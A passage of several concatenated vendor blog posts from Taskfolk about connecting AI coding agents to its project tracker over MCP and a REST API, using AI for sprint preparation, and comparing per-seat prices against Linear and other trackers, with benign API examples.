https://taskfolk.ai/api/mcp/v1/ \ --header "Authorization: Bearer $TASKFOLK_API_KEY" ``` Cursor takes the same server as JSON in `~/.cursor/mcp.json`: ```json { "mcpServers": { "taskfolk-product": { "url": "https://taskfolk.ai/api/mcp/v1/", "headers": { "Authorization": "Bearer YOUR_API_KEY" } } } } ``` Every `tools/call` re-enters the REST pipeline in-process with the caller's own key, so there is no separate MCP permission layer to drift out of sync: ```mermaid sequenceDiagram participant A as Agent participant M as Taskfolk MCP server participant R as REST API A->>M: tools/call M->>R: same request, same key, same scopes R-->>M: result M-->>A: result ``` ![Taskfolk agent hub showing an agent connected over MCP](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) ## What the table does not show Reading 13 sets of docs back to back, the real differences are not in the "has MCP" column. **Coverage is the quiet differentiator.** Most servers expose a curated subset: issues, comments, search. That covers demos well and real work partially. The test worth running on any tool: can the agent do over MCP everything you can do in the UI? Sprints, custom fields, workflow transitions, docs? Sub-setted servers mean your agent hits a wall mid-task, and the wall is undocumented. You do not have to take any vendor's word for it. Every MCP server answers a standard `tools/list` request, so you can count the surface yourself. Against Taskfolk's endpoint it looks like this; swap in another vendor's URL and auth to probe theirs: ```bash curl -s https://taskfolk.ai/api/mcp/v1/ \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}' ``` ```javascript const res = await fetch("https://taskfolk.ai/api/mcp/v1/", { method: "POST", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ jsonrpc: "2.0", id: 1, method: "tools/list" }), }); const { result } = await res.json(); console.log(result.tools.length, "tools"); ``` ```python import os import requests res = requests.post( "https://taskfolk.ai/api/mcp/v1/", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, json={"jsonrpc": "2.0", "id": 1, "method": "tools/list"}, ) print(len(res.json()["result"]["tools"]), "tools") ``` The response lists every tool with its name and input schema. If the sprint or custom-field operations you need are not in that list, no amount of prompt engineering will make the agent reach them. **Caps change what MCP is.** A server capped at 300 calls a day is an integration for occasional questions, not a channel an autonomous agent can work through. Vendors are entitled to price agent traffic, but the cap belongs in the comparison table, not the footnotes. **Write policies reveal each vendor's threat model.** Airtable and Trello ship no destructive deletes. Monday ships deletes. Atlassian scopes everything to the human's permissions. There is no standard answer yet for "what should an agent be forbidden to do," and it shows. **Nobody but us treats the agent as a member.** In every other tool audited, the agent acts through a connection: its work appears under an app identity or the connecting user's name. In Taskfolk, an agent is a named workspace member with its own profile, assigned issues, live session states on the ticket, and attribution in the activity log, and agent members are not billed as seats. We think that identity layer, not the transport, is where this category is actually competing next. See [the complete guide](/blog/ai-agent-project-management-guide) for why identity is the load-bearing piece. ![Activity log attributing changes to a named agent member](/images/blog/manage-a-team-of-ai-agents-attribution.webp) ## How to use this audit If you are choosing a tracker partly for agent access, "has MCP" is now table stakes. Three questions make the real comparison: 1. **Check the caps first.** ClickUp's is the one that bites today; Atlassian's are real but unpublished. 2. **Check coverage against the tasks you actually want agents doing.** Run the `tools/list` probe above and compare it to your workflow, not to the demo. 3. **Check what the agent's actions look like in the audit trail.** If everything lands under one app identity, you cannot answer "who changed this" once two agents share a workspace. ![API usage and audit log table showing per-key activity](/images/blog/how-to-track-api-usage-and-audit-logs-audit-table.webp) We will re-run this audit quarterly and keep the table honest, including where rivals improve. If we got a fact wrong, the sources are linked, and hi@taskfolk.ai reaches us; corrections get made with a changelog note. --- # AI sprint planning: what actually works in 2026 URL: https://taskfolk.ai/blog/ai-sprint-planning-what-works Published: 2026-07-15 Updated: 2026-07-28 Author: The Taskfolk team Tags: AI agents, sprints, agile, agentic project management Where AI genuinely helps plan a sprint, drafting, sizing, capacity checks, and where letting it decide is a mistake. A working setup, honestly described. Sprint planning has two jobs stapled together: preparation, getting the backlog into a state where decisions are possible, and decision, choosing what the team commits to. AI is genuinely good at the first job and should be kept away from the second. Most of the "AI sprint planning" disappointment we hear about comes from teams that got this backwards. ```mermaid flowchart LR B[Raw backlog] --> P[Preparation, AI drafts] P --> M[Planning meeting, humans decide] M --> S[Committed sprint] ``` We run our own product this way, sprints planned in Taskfolk with agents doing the preparation, so what follows is the split that has actually held up, including the parts where the AI is not the answer. ## What does AI do well in sprint planning? **Backlog grooming, the part everyone skips.** The classic planning meeting starts with a backlog nobody groomed: duplicate tickets, bugs with no reproduction steps, stories missing acceptance criteria, estimates from a different era. An agent that sweeps the backlog the day before turns the first thirty minutes of planning into five. In the sweep it: - flags duplicates and stale issues - drafts missing acceptance criteria for a human to approve - points at issues whose descriptions contradict their comments This is the same mechanism as [AI triage](/blog/ai-issue-triage-that-assigns-and-prioritizes), pointed at the backlog instead of the intake queue. ![Ranked backlog list in Taskfolk with priorities and estimates visible](/images/blog/how-to-prioritize-your-backlog-ranked-list.webp) **First-pass sizing.** An agent that has read your history can propose estimates with reasons: "similar to WEB-180 and WEB-195, both landed at 3 points." The proposal is not the estimate, the team's reaction to it is. But anchoring the conversation on a reasoned draft is faster than planning poker from silence, and it drags the outliers into the open. The ticket the agent calls a 2 that your senior calls an 8 is exactly the ticket that needed discussion. **Capacity arithmetic.** The un-fun math, who is on leave, how many points did we really finish the last three sprints, does the proposed set fit, is mechanical, and models plus your velocity reports do it without flattery. Taskfolk's velocity and burndown reports feed this directly; the agent reads them over the same [MCP server](/developer) your other tools use. If your agent talks REST instead, the whole capacity input is one GET: ```bash curl "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/reports/velocity?period=90d" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" ``` ```python import os import requests r = requests.get( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/reports/velocity", params={"period": "90d"}, headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, ) velocity = r.json()["data"]["data"] # unit, average, bars ``` The response is one bar per recent sprint, committed vs completed, plus the average (trimmed here): ```json { "data": { "report": "velocity", "data": { "unit": "count", "average": 11.5, "bars": [ { "sprintName": "Sprint 14", "status": "completed", "committed": 14, "completed": 12 }, { "sprintName": "Sprint 15", "status": "active", "committed": 13, "completed": 4 } ] } } } ``` ![Project reports grid in Taskfolk including velocity and burndown](/images/blog/project-reports-and-insights-reports-grid.webp) **Drafting the sprint goal.** Given the candidate issues, an agent writes a competent one-sentence goal. Competent is the ceiling; if the goal matters, a human sharpens it. If the drafted goal comes out mushy, that is usually the plan's fault, not the model's, which makes it a useful smoke alarm. **Executing within the sprint.** Once the sprint exists, coding agents on the board can carry real items: assign the well-scoped bugs to a named agent, watch its sessions run on the tickets, review its output like anyone else's. Planning with agents in the roster means some capacity is agent capacity, and the plan can say so explicitly. [Planning your team's capacity and your agents' as two separate tracks](/blog/two-track-sprint-planning) is the clean way to write that down. ![Agent sessions list in Taskfolk showing what each agent is working on](/images/blog/how-to-delegate-work-to-an-agent-sessions-list.webp) ## What should AI not decide? **What the team commits to.** Commitment is a promise made by the people who will keep it. A model has no skin in that promise and no knowledge of half the things that bend it, the reorg rumor, the flaky dependency, the teammate who is quietly burned out. Let the agent propose a sprint that fits capacity; let humans strike and swap until it is theirs. A committed-by-AI sprint fails socially before it fails technically: when it slips, nobody feels responsible, because nobody decided. **Priority calls between stakeholders.** "Support wants the export bug, sales wants the SSO ticket, we can do one" is a negotiation, not an optimization. The agent's job is making the trade visible early, not making it. **Anything that punishes people via metrics.** The same velocity data that powers capacity checks can be misused as a leaderboard. Do not wire AI summaries to individual throughput. It poisons the estimates within two sprints, because people start estimating defensively, and then the AI's capacity math is garbage too. ## A working setup, step by step This is the loop we actually run, on stock Taskfolk parts: ```mermaid flowchart LR G[Groom sweep, day before] --> Z[Sizing pass, day before] Z --> P[Planning, 30 min, humans] P --> A[Assign, agents included] A --> D[Daily digest watches drift] ``` 1. **T-1 day, the groom sweep.** A named agent sweeps the backlog: flags duplicates and stale issues, drafts missing acceptance criteria as comments (drafts, not silent edits), and labels candidates that match the coming sprint's theme. Its changes are attributed in the activity log like any member's. 2. **T-1 day, the sizing pass.** The agent proposes estimates on unestimated candidates, each with its reasoning in a comment. Humans accept or argue in the morning. If the agent pulls candidates itself, that is a plain issue query, `GET /issues?status=backlog` scoped to the project. 3. **Planning, 30 minutes, humans.** The board shows groomed, sized candidates and a capacity line from the velocity report. The team argues about the top of the list, strikes what does not fit, swaps what support escalated, and commits. The agent is silent in this meeting. 4. **Immediately after: assignment, including agents.** Well-scoped items go to coding agents as named assignees; ambiguous items go to humans. Agent sessions are visible on each ticket, so mid-sprint, "how is the agent doing" is a glance, not an interrogation. Status handoffs between agents follow [the pattern we described here](/blog/coordinate-two-agents-with-issue-status-handoffs). 5. **Mid-sprint, the digest watches.** The daily [AI digest](/blog/run-sprints-without-the-ceremony) reports scope changes, stuck items, and agent sessions in "blocked", so drift is visible on day 3, not at the retro. ![Sprints page in Taskfolk with an active sprint and its progress](/images/blog/how-to-run-a-sprint-sprints-page.webp) Nothing in this loop requires believing AI is magic. Every AI output is a draft or a flag; every decision has a human name on it; everything is attributed on the board. ## What changes after a few sprints Two effects showed up for us and for teams we have compared notes with. First, planning gets shorter, not because anyone rushes, but because the meeting stops doing preparation. Thirty minutes is realistic for a team of eight once grooming and sizing arrive pre-drafted. Second, and less expected, estimate quality improves: when a model proposes sizes with visible reasoning, humans correct it out loud, and that standard of "say why" leaks into how people estimate everything. What does not change: bad backlogs still make bad sprints. An agent can flag that a story has no acceptance criteria; it cannot know what the customer actually needs. AI sprint planning is a preparation upgrade, not a substitute for knowing what you are building. If you want to run this loop on your own backlog, every new Taskfolk team gets [14 days of Pro free](/pricing), no card: sprints, velocity reports, the digest, and named agents are all in the box. --- # AI agent project management: the complete guide URL: https://taskfolk.ai/blog/ai-agent-project-management-guide Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: agentic project management, AI agents, project management, MCP How to run real projects with AI agents on the board: connecting them, assigning work, keeping review, what breaks, and how to pilot it in a week. AI agents can now hold a real seat on a project team. Not as a chat window you paste tickets into, but as workers that pick up an issue, do the work, report progress on the ticket, and hand it back for review. Making that arrangement productive instead of chaotic is a project management problem, and this guide covers the whole of it: what agents can genuinely do inside a tracker, how they connect, how to assign and review their work, which tools support this today, and what goes wrong when teams skip the boring parts. We build a project tracker with agent support, so we have an obvious interest here. We also run our own product this way every day, which is where most of the specifics below come from, including the failures. ## What is AI agent project management? AI agent project management is running a project where some of the workers are software agents: coding agents like Claude Code, Codex, or Cursor, or task-specific agents you build yourself. The humans and the agents share one backlog, one board, and one set of statuses. Work gets assigned to whoever suits it, a person or an agent, and everything anyone does is attributed and reviewable in the same place. The important word is management. The novelty is not that a model can write code or draft a spec; it has been able to do that for a while. The novelty is treating that capability as capacity you can plan around: estimating it, assigning to it, reviewing its output, and tracking it on the same board as everyone else. Teams that get value from agents run them inside the process. Teams that struggle usually run them beside it, in chat threads and terminal sessions that leave no trace in the tracker, so nobody can say afterwards what the agent did or why. If you want the shorter conceptual version of this argument, we wrote one: [what agentic project management is](/blog/what-is-agentic-project-management). This guide is the operational sequel. ## What can an AI agent actually do in a project tracker? More than most teams let it. The obvious first job is execution: assign a well-shaped bug or task to a coding agent and it works the issue, comments its progress, and moves the status when it is done or stuck. That alone is useful, but the tracker jobs around execution are often the better starting point because they are lower risk: **Triage** is the clearest win. New issues arrive half-formed, from forms, from support, from teammates in a hurry. An agent that reads each new issue, sets a type and priority, adds labels, points out likely duplicates, and routes it to the right person removes a chore nobody misses. We described a working setup in [AI issue triage that assigns and prioritizes](/blog/ai-issue-triage-that-assigns-and-prioritizes). **Reporting** is the second. An agent that reads the board and writes the weekly status update produces something more accurate than the version a human writes from memory on Friday afternoon, because it actually reads every ticket. Summarizing long comment threads, preparing handoff notes, and drafting release notes are the same shape of work: reading a lot of project state and writing a little prose. **Grooming** is the quiet one. Stale issues, missing acceptance criteria, tickets with no estimate, epics whose children are all done: an agent can sweep for these on a schedule and either fix them or flag them. Then there is execution itself, which deserves its own sections, because assigning real work to an agent is where process starts to matter. ## How do agents connect to a project management tool? Three ways, and most teams end up using two of them. | Path | Built for | How it runs | |------|-----------|-------------| | MCP | Interactive work, a person steering an agent | The agent calls tracker tools mid-task | | REST API | Scheduled jobs, webhooks, services | Scripts with a scoped key you rotate and audit | | Installed skill | Coding agents you use every day | One install, then the agent knows your tracker | MCP, the Model Context Protocol, is the conversational path. Your tracker runs an MCP server; agent clients like Claude Code or Cursor connect to it and get tools for reading and writing issues, searching, and commenting. The agent decides mid-task when to call them. The spec is young and clients vary in quality, but it has become the default answer, and most serious trackers now ship a server. The client side is one config stanza pointing at the server, with an API key as a bearer token. Taskfolk's, for example: ```json { "mcpServers": { "taskfolk-product": { "url": "https://taskfolk.ai/api/mcp/v1/", "headers": { "Authorization": "Bearer YOUR_API_KEY" } } } } ``` The REST API is the programmatic path. Scheduled jobs, webhooks that trigger a script, services that file or update issues: anything that runs without a person present belongs on the API, with a scoped key you can rotate and audit. It is boring in the way infrastructure should be boring. The request an execution agent makes most often is "what is assigned to me." In Taskfolk's API that is one call, in whatever language your agent runs: ```bash curl -H "Authorization: Bearer $TASKFOLK_API_KEY" \ "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues?assignee=me&status=in_progress" ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues?assignee=me", { headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}` } }, ); const { data: issues } = await res.json(); ``` ```python import os, requests r = requests.get( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues", params={"assignee": "me"}, headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, ) issues = r.json()["data"] ``` And when the agent finishes, it hands the issue back and says what it did, on the ticket where the record lives: ```bash curl -X PATCH -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues/WEB-214" \ -d '{ "status": "in_review" }' curl -X POST -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues/WEB-214/comments" \ -d '{ "body_md": "Fix pushed. Tests green. Ready for review." }' ``` If you are unsure which path a given integration wants, the test is simple, and we wrote it up in [MCP or REST API for your agent](/blog/mcp-or-rest-api-for-your-agent): conversation goes over MCP, automation goes over the API. Installable skills are the third path, and the newest: a package of instructions and endpoints that a coding agent installs once, after which it knows how to work your tracker without you re-explaining it in every session. Think of it as onboarding documentation the agent actually reads. ![The agent hub after connecting a coding agent, showing its profile and connection details](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) Whatever the transport, the connection question that matters more is identity, which is the next section. ## How do you assign work to an agent without losing control? Give the agent a name. This sounds cosmetic and is actually the whole game. An agent that connects through some shared integration token is a ghost: its changes appear under an app name or, worse, under whichever human created the token. You cannot assign anything to it, you cannot filter the activity log to it, and when two agents run at once you cannot tell their work apart. Every control you might want later depends on the agent being a distinct member of the workspace, with its own profile, its own credentials, and its own name in every picker and every audit row. ![An agent roster listing named agents as workspace members with their own profiles](/images/blog/manage-a-team-of-ai-agents-hub-roster.webp) Once agents are named members, assignment stops being special. An issue is assigned to "Claude Code" the same way it would be assigned to a person. The board shows who, human or agent, owns what. Workload views mean something. And the agent's runs can be tracked as sessions on the issue itself: started, working, blocked, needs review, done. That session view is what turns "I think the agent is doing something" into "the agent has been blocked on WEB-214 for forty minutes." Scope the credentials like you would for a contractor: - Read scopes for reporting agents. - Write scopes only where the agent genuinely writes. - Admin scopes almost never. And decide up front which transitions an agent may make on its own: moving an issue to "in review" is safe almost everywhere; moving it to "done" should usually remain a human act. We keep a human approval on anything outward-facing or destructive, and we wrote about where to draw that line in [human-in-the-loop approval for AI agents](/docs/human-in-the-loop-approval-for-ai-agents). Drawn once, the control loop that keeps several agents from becoming chaos: ```mermaid flowchart TD H["You assign issues, same picker as people"] --> A1["Triage agent"] H --> A2["Coding agent"] A1 --> S1["Session on the issue: running, then review"] A2 --> S2["Session on the issue: running, then review"] S1 --> G["'Needs review' column"] S2 --> G G --> OK["A human approves the status move"] OK --> D["Done, attributed to the agent in the history"] ``` ## How should you write issues that agents can execute? Like you should have been writing them for humans. The difference is that agents make the cost of vague tickets visible immediately. A person who picks up "fix the login weirdness" walks over and asks you what you meant. An agent either asks, if it is a good one, or guesses, and its guess compounds through an entire session before anyone notices. So the issues you hand to agents need what a well-run team already wanted: - a specific problem statement - acceptance criteria that can be checked - links to the relevant code or docs - a definition of done that includes the boring parts, like tests and changelog entries Two additions matter specifically for agents. First, context links beat context prose: an agent can follow a link to a doc, a related issue, or a previous discussion, so linking the history is cheaper than restating it and stays current. Give the agent a searchable knowledge base and it will pull what it needs; we covered that pattern in [give your AI agent a knowledge base](/blog/give-your-ai-agent-a-knowledge-base). Second, state the boundaries explicitly. "Do not touch the billing module" is a sentence a human would infer from tribal knowledge. Agents do not have tribal knowledge. Write it down. The payoff runs backwards, too: the discipline agents force on your tickets makes them better for humans. Several teams have told us the most measurable effect of their agent pilot was that issue quality went up. ## How do you keep agent work reviewable? Attribution, sessions, and small batches. Attribution means every comment, transition, and edit carries the agent's name in the activity history, forever. If your setup cannot answer "which changes on this issue were made by the agent," fix that before scaling anything. Review cannot depend on chat scrollback, because chat scrollback disappears and the tracker does not. Sessions mean the agent's work has visible shape: when it started, what state it is in, whether it is waiting on you. A run that is "blocked" for hours should show up the same way a stuck teammate does, on the ticket where the work lives, not buried in a terminal you closed. ```mermaid stateDiagram-v2 [*] --> Started Started --> Working Working --> Blocked: waiting on input Blocked --> Working: unblocked Working --> Review: agent hands back Review --> Working: bounced Review --> Done: human approves Done --> [*] ``` ![A list of agent sessions on their issues, each with its current state](/images/blog/how-to-delegate-work-to-an-agent-sessions-list.webp) Small batches mean the unit of agent work stays reviewable by one person in one sitting. An agent that quietly rewrites forty files across three issues has produced something nobody will actually review; approval becomes theater. Keep issues small, keep sessions scoped to an issue, and route the output through the same review gate as human work: a pull request, an "in review" column, a named human approver. When two agents hand work to each other, run the handoff through issue statuses rather than direct agent-to-agent channels, so the board stays the source of truth. We described that pattern in [coordinating two agents with status handoffs](/blog/coordinate-two-agents-with-issue-status-handoffs). ## Which project management tools support AI agents today? Honestly: most of the big ones are moving, at different speeds and from different directions. Atlassian ships AI features across Jira and a remote MCP server, so agents can reach Jira from outside. Linear has agent integrations and a first-party MCP server, and its overall polish is real. Asana and Monday have gone furthest on built-in AI assistants inside their own UIs. If you want the field surveyed by one specific capability, we keep a list of [project management tools with a first-party MCP server](/blog/project-management-tools-with-a-first-party-mcp-server). Where the products differ most is the identity model, and it is worth interrogating whichever tool you evaluate on exactly this: can an agent be a named member with its own attribution, or does it work through an integration layer under someone else's name? Can you see agent sessions on the issue? And what does an agent cost, because on strict per-seat pricing, an agent that holds a seat is another paid user. Taskfolk, our tool, was built for this model from the start: agents join as named members with profiles, their sessions are visible on the ticket, they connect over a first-party MCP server or a REST API that covers the whole product, and agent members are never billed as seats. We have written direct comparisons against the two tools we get asked about most, [Taskfolk vs Jira](/vs/jira) and [Taskfolk vs Linear](/vs/linear), and both credit the other side's genuine strengths, because pretending Jira's workflow engine or Linear's speed do not exist would not help you. ## How do you run a first pilot, in one week? Small, real, and reviewed. A shape that has worked repeatedly: Pick one project and two jobs: one tracker job (triage or the weekly summary) and one execution job (small bugs from a curated label). Resist starting with a headline feature; you are piloting the process, not the model. - **Day 1.** Set up identity: create the agent as a named member, scope its key, connect it over MCP. - **Day 2.** Write the operating rules into the project doc: which labels it may pick up, which transitions it may make, who reviews its output, what it must never touch. - **Days 3 to 5.** Run it on maybe ten issues. The agent comments its progress on each ticket, moves work to review, and a named human approves or bounces every result. ![A board with agent work sitting in a review column, waiting on a human approval](/images/blog/human-in-the-loop-approval-for-ai-agents-board.webp) Then read the record. Because everything went through the tracker, the review is concrete: how many issues it completed, how many bounced and why, where it got blocked, what it cost in review time. That record, not anyone's enthusiasm, tells you whether to widen the label, add a second agent, or stop. Teams that skip the record end the pilot with opinions instead of data. ## What goes wrong, and how do you avoid it? Four failures account for most of the mess. **Unattributed work** is the original sin: an agent acting under a shared token leaves changes nobody can trace. It feels fine for a week, then something breaks and the audit trail points at a person who was asleep. Named agents fix this structurally. **Runaway scope** is the coding-agent classic. The issue said "fix the date parsing" and the diff touches nineteen files, because the agent kept finding things to improve. Boundaries in the ticket, small batches, and a reviewer empowered to bounce oversized diffs without reading them are the countermeasures. **Stale context** produces confident nonsense: an agent working from an outdated doc, or an issue whose comments contradict its description. The fix is unglamorous: keep docs in the same system the agent reads, link them from issues, and let the agent search current state instead of feeding it snapshots. **Silent failure** is the sneaky one. A scheduled agent stops working, and nothing tells you, because no human notices the absence of triage. This is what session states are for: a run that is blocked or stalled should be visible on the board, and an agent that has not run should be conspicuous somewhere a human actually looks. None of these are model problems. They are management problems, which is good news, because management problems have known fixes. ## Where is this heading? Toward ordinariness. The pattern already visible on teams that run this well is that "assign it to the agent" is said in the same tone as "assign it to Sam," and the interesting decisions have moved up a level: which work is worth doing at all, what does done mean, is the review bar right. Those were always the real project management questions. Agents just make the execution layer cheaper and the process layer impossible to fake. If you want to try the arrangement on real work, Taskfolk gives every new team [14 days of Pro on their first workspace](/pricing), no card. Create a project, connect a coding agent as a named member over [MCP or the API](/developer), and run the one-week pilot above on your own backlog. The record it leaves will tell you more than any guide, including this one. --- # Looking for a Linear alternative? Start with who pays URL: https://taskfolk.ai/blog/linear-alternatives-speed-and-price Published: 2026-07-12 Updated: 2026-07-28 Author: The Taskfolk team Tags: alternatives, pricing, comparison Where teams leaving Linear actually go, Jira, ClickUp, Asana, GitHub Projects, Taskfolk, and the seat math and agent support that should drive the choice. Linear earned its reputation. It is fast, the keyboard shortcuts are good, and it made a lot of teams expect their tracker to feel like a well-built app instead of a form with a database behind it. If you are looking to leave it, be honest about why first, because "it is too slow" is usually not the reason. We make a competing tracker, so read this with that in mind. But most people shopping Linear alternatives are not unhappy with the product. They are unhappy with the bill, or with the shape of the team it assumes. Prices below are public list prices as of July 2026. ## The three real reasons people leave Linear The first is price. Linear's Basic tier is $10 per user per month billed annually, and Business, where private teams, guest access, and Insights live, is $16. That is fine for a five-person eng team. It stops being fine when you want the whole company to see what engineering is doing, because everyone you add is another seat, whether they push work or just look. The second is the free plan's ceiling. Linear Free allows unlimited members, which is generous, but caps you at 250 non-archived issues and 2 teams. An active team hits 250 issues in a few weeks, and when you do, issue creation stops until you archive or pay. The free plan is a trial with extra steps, and teams often start shopping the day they hit the cap. The third is fit. Linear is opinionated toward software teams doing cycles and issues. That is a feature if you are that team. If you are running marketing, ops, or a mixed group that does not think in sprints, some of the opinion gets in the way. If none of those is your problem, you may not actually want to switch. Migrating trackers is a real cost, and "the grass looks greener" is a bad reason to pay it. ## Where teams leaving Linear actually go Five destinations cover almost everyone. Here is the short version, then the honest read on each. | Tool | List price / user / mo | Free viewers | Best fit | |---|---|---|---| | Jira | $7.91 (Standard) | No | Compliance, deep workflows, Atlassian shops | | ClickUp | $7 | No | Teams that want everything in one tool | | Asana | $10.99 | No | Mixed companies: marketing, ops, product | | GitHub Projects | Free with repos | n/a | Pure engineering teams already in GitHub | | Taskfolk | $3 (Builders), $6 (Business) | Yes, uncapped | Linear feel, free viewers, named AI agents | **Jira** is where teams go when they need depth: the deepest workflow engine in the industry, a marketplace with thousands of apps, and the rest of the Atlassian suite behind it. Standard is $7.91 per user, cheaper than Linear, but everyone is still a paid seat, docs mean buying Confluence separately, and the admin surface is the thing half of Linear's users originally fled. Going Linear to Jira is usually a compliance-driven move, not a joyful one. **ClickUp** is the value play: $7 per user, docs and chat included, and a free plan with genuinely unlimited members. The trade is the opposite of Linear's minimalism. ClickUp does everything, configurably, and the teams that love Linear's restraint tend to find ClickUp noisy. Demo it with your actual workflow before deciding the price is worth it. **Asana** suits mixed companies where the tracker must serve marketing and ops as well as product. Polished, approachable, and at $10.99 the most expensive common choice, with a free plan that now caps new accounts at 2 users. Engineers who liked Linear's keyboard speed usually find Asana slower to drive. **GitHub Projects** is the quiet option for pure engineering teams: free with the repos you already pay for, issues next to the code, and no new tool to learn. It is also the least of a tracker on this list. No real sprints, thin reporting, and product or design teammates end up second-class. Teams outgrow it the moment non-engineers need to plan in it. **Taskfolk**, ours, aims at the same calm, fast feel that made Linear likeable, with two structural differences: viewers are free with no cap on every plan, and AI coding agents work as named members with live sessions on the ticket. Builders are $3, Business is $6, and the free plan has no issue cap. The full [Taskfolk vs Linear](/vs/linear) comparison credits what Linear still does better, because there are real items on that list. One more name that shows up on Linear shortlists is Shortcut, and that field has its own writeup in [Shortcut alternatives](/blog/shortcut-alternatives). ## The seat math nobody puts on the pricing page Here is the part that changes the decision. Count the people who touch your tracker and split them into two groups: the ones who create and move work, and the ones who just need to see it. On Linear, both groups are paid seats, and guest access does not arrive until the $16 Business tier. So is everyone a seat on Asana at $10.99 and Monday at $9. Even the cheaper tools charge per head: Trello $5, ClickUp $7, Jira $7.91. The number on the page is per seat, and a seat is a seat whether the person is closing tickets or reading a roadmap once a month. Take a team of 6 builders and 15 onlookers, 21 people total, and multiply each list price out: | Tool | Who pays | Monthly bill for 6 + 15 | |---|---|---| | Linear Basic ($10) | All 21 | $210 | | Asana ($10.99) | All 21 | $230.79 | | Monday ($9) | All 21 | $189 | | Jira Standard ($7.91) | All 21 | $166.11 | | ClickUp ($7) | All 21 | $147 | | Trello ($5) | All 21 | $105 | | Taskfolk ($3 per builder) | 6 builders | $18 | On Linear Basic that is $210 a month, roughly $2,500 a year, and most of it buys read access. Taskfolk prices the two groups differently. Builders are $3 per month. Viewers, people who can read projects and follow issues but not change anything, are free with no cap. Same team of 6 builders and 15 viewers costs you 6 seats, $18 a month. You invite everyone and pay for the ones doing the work. ![Taskfolk plan grid showing Free, Builders, and Business tiers with free viewers on every plan](/images/blog/how-to-manage-billing-and-plans-plan-grid.webp) ## The agent question If part of why you are re-evaluating is AI agents, look past the checkbox. Linear has a first-party MCP server and agent integrations, and both are real. The structural questions are what an agent is in the tool's model and what it costs. On Taskfolk, an agent is a named member: it has a profile, gets assigned issues like anyone else, its runs show as sessions on the ticket (working, blocked, ready for review), every change it makes is attributed to it in the activity log, and agent members are never billed as seats. On strict per-seat tools, an agent that holds an identity is another paid user, which quietly discourages the named-agent setup that makes agent work reviewable. ![Agent hub sessions list showing named agents with live session states on their tickets](/images/blog/manage-a-team-of-ai-agents-hub-sessions.webp) Concretely, "sessions on the ticket" is one API call. When an agent picks up an issue, it opens a session against the workspace (scope `agents:write`), and that session shows up on the issue for the humans reviewing it: ```bash curl -X POST https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{"title": "Fix flaky login test", "issue_key": "WEB-12"}' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions", { method: "POST", headers: { Authorization: "Bearer tfk_live_a1b2...", "Content-Type": "application/json", }, body: JSON.stringify({ title: "Fix flaky login test", issue_key: "WEB-12", }), }, ); ``` ```python import requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions", headers={"Authorization": "Bearer tfk_live_a1b2..."}, json={"title": "Fix flaky login test", "issue_key": "WEB-12"}, ) ``` We wrote a complete operational guide to [running projects with AI agents](/blog/ai-agent-project-management-guide) if you want the full picture, including the failure modes. ## What you give up, honestly Taskfolk is younger than Linear. Linear has a deeper set of power-user features, years of polish on the cycle workflow specifically, and Insights gives engineering leaders velocity analytics we do not match today. Its keyboard-first triage depth is still the best in the category. If your team lives and dies by Linear's exact cycle model, its analytics, or a particular integration only it has, that is a legitimate reason to stay, and I would rather tell you that than pretend otherwise. What Taskfolk gives you instead: the same board, backlog, list, timeline, and docs a real team needs, request-intake forms that file issues, unlimited free viewers, and a tracker built so AI agents can do attributed, reviewable work in it through a REST API and an MCP server. If the agent angle matters to you, that is where we are ahead, not behind. ![Taskfolk kanban board with columns, assignees, and issue cards in the dark theme](/images/blog/how-to-use-a-kanban-board-overview.webp) ## What switching actually costs A tracker migration is a few days of setup and a few weeks of muscle memory, front-loaded and finite. The mechanics are the easy part: Taskfolk's importer brings issues, statuses, assignees, and comments across from Linear, and the same importer handles Jira, Trello, Asana, ClickUp, and CSV. ![Import wizard with source selection for Linear, Jira, Trello, Asana, ClickUp, and CSV](/images/blog/how-to-import-your-project-workspace-wizard-source.webp) The process that works is boring: pilot one project, run it for two weeks alongside the old tool, then move the rest or do not. We wrote the step-by-step in [how to migrate without losing your history](/blog/migrate-from-jira-trello-asana-to-taskfolk). The one thing not to do is switch for a discount alone. Switch when the seat math is large, when the free-plan cap has you archiving issues you still need, or when a structural feature, free viewers, named agents, built-in intake, changes how your team can work. ## How to choose without a spreadsheet war Do not start from the feature grid. Start from your own headcount. Write down the builders and the viewers separately. Multiply each tool's per-seat price by the total number of people it would charge for, on the tier you would really be on. Then ask whether the extra you would pay a per-seat tool buys you something your team actually uses every week, or whether it mostly buys read access you could get for free elsewhere. The whole decision fits in one picture: ```mermaid flowchart TD A[Why are you leaving Linear?] --> B{Main driver} B -->|Compliance or workflow depth| C[Jira] B -->|One tool for everything| D[ClickUp] B -->|Marketing and ops use it too| E[Asana] B -->|Pure eng, already in GitHub| F[GitHub Projects] B -->|Seat bill or AI agents| G[Taskfolk] B -->|None of these| H[Stay on Linear] ``` If agents and AI are what you are actually weighing, our ranking of [the best AI project management software](/blog/best-ai-project-management-software) prices that side separately. If Linear's specific strengths are load-bearing for you, keep it. If you are mostly paying it to let people watch, that is worth a 